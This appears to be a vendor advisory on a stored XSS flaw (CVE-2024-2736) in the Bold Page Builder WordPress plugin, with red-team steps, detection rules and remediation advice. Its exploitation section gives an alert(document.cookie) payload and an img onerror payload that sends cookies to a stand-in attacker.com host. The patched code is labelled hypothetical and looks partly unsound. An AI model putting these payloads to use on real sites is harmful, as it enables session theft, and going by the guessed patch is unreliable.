CVE-2024-2736

Executive Summary

CVE-2024-2736 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder plugin for WordPress, affecting all versions up to and including 4.8.8. The flaw arises from insufficient input sanitization and output escaping on user-supplied HTML tag attributes. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. Users should monitor the plugin’s update channel for a patched version.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authenticated access but can lead to persistent script injection affecting all site visitors.

Deep Dive & Mechanics

The vulnerability resides in the Bold Page Builder plugin’s handling of HTML tags within page builder elements. When a contributor or higher-level user creates or edits a page, the plugin fails to properly sanitize and escape user-supplied attributes in HTML tags. This allows an attacker to inject malicious JavaScript code into attributes such as onmouseover, onclick, or src with a javascript: URI.

The injected script is stored in the WordPress database and rendered on the page for every visitor. Since the plugin processes these attributes without adequate filtering, the XSS payload persists across page loads.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates or edits a page using Bold Page Builder.
3. Attacker inserts an HTML element (e.g., <div>) and adds a malicious attribute (e.g., onmouseover="alert('XSS')").
4. The plugin stores the payload without sanitization.
5. Any user visiting the page triggers the script.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.8.8): The plugin likely uses a function like esc_attr() incorrectly or not at all for certain attributes. Example vulnerable pattern:

echo '<div ' . $user_attribute . '>Content</div>';

Here, $user_attribute is not sanitized, allowing injection of event handlers.

Patched Code (Hypothetical): A patch would sanitize and escape all user-supplied attributes:

$safe_attribute = sanitize_html_class( $user_attribute );
echo '<div ' . esc_attr( $safe_attribute ) . '>Content</div>';

Or use wp_kses() to allow only safe HTML tags and attributes.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Bold Page Builder <= 4.8.8
• Contributor-level account credentials

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Pages > Add New.
3. Switch to the Bold Page Builder editor.
4. Add a custom HTML element (if available) or modify an existing element’s attribute.
5. Inject a payload such as:

   <div onmouseover="alert(document.cookie)">Hover over me</div>
   

6. Publish the page.
7. Any user visiting the page will see the alert when hovering over the div.

Advanced Payload:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Blue Team (Detection & Hardening)

Detection:

• Monitor for pages created or edited by contributor-level users containing suspicious HTML attributes (e.g., on*, javascript:).
• Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to wp-admin/post.php.

Hardening:

• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a WordPress security plugin that scans for malicious content.

Indicators of Compromise (IOCs)

• File-based IOCs:

  • Modified WordPress pages/posts containing event handler attributes (e.g., onmouseover, onclick, onerror).
  • Suspicious entries in the wp_posts table with post_content containing <script> tags or event handlers.

• Network IOCs:

  • Outbound HTTP requests to known malicious domains from the WordPress server.
  • Unusual JavaScript files loaded from external sources.

• Log IOCs:

  • WordPress audit logs showing page edits by contributor users with unusual HTML content.
  • Web server logs with requests to pages containing XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2024_2736_Bold_Page_Builder_XSS {
    meta:
        description = "Detects stored XSS payloads in Bold Page Builder content"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2736"
    strings:
        $xss1 = /on\w+\s*=\s*["']\s*javascript:/i
        $xss2 = /on\w+\s*=\s*["']\s*alert/i
        $xss3 = /on\w+\s*=\s*["']\s*fetch/i
        $xss4 = /<script[\s>]/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2024-2736 Stored XSS in Bold Page Builder
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress pages created with Bold Page Builder
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/post.php'
        http.body|contains: 
            - 'onmouseover'
            - 'onclick'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of event handlers by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2736 Stored XSS in Bold Page Builder"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"onmouseover"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available and the plugin is not critical.
2. Restrict contributor-level access to only trusted users.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in POST requests.

Long-term Fix:

• Monitor the Bold Page Builder plugin page for an official patch.
• Apply the patch as soon as it is released.
• Consider replacing the plugin with an alternative that is actively maintained.

Workaround:

• Use a WordPress security plugin that adds input sanitization and output escaping for all page builder content.

Valters IT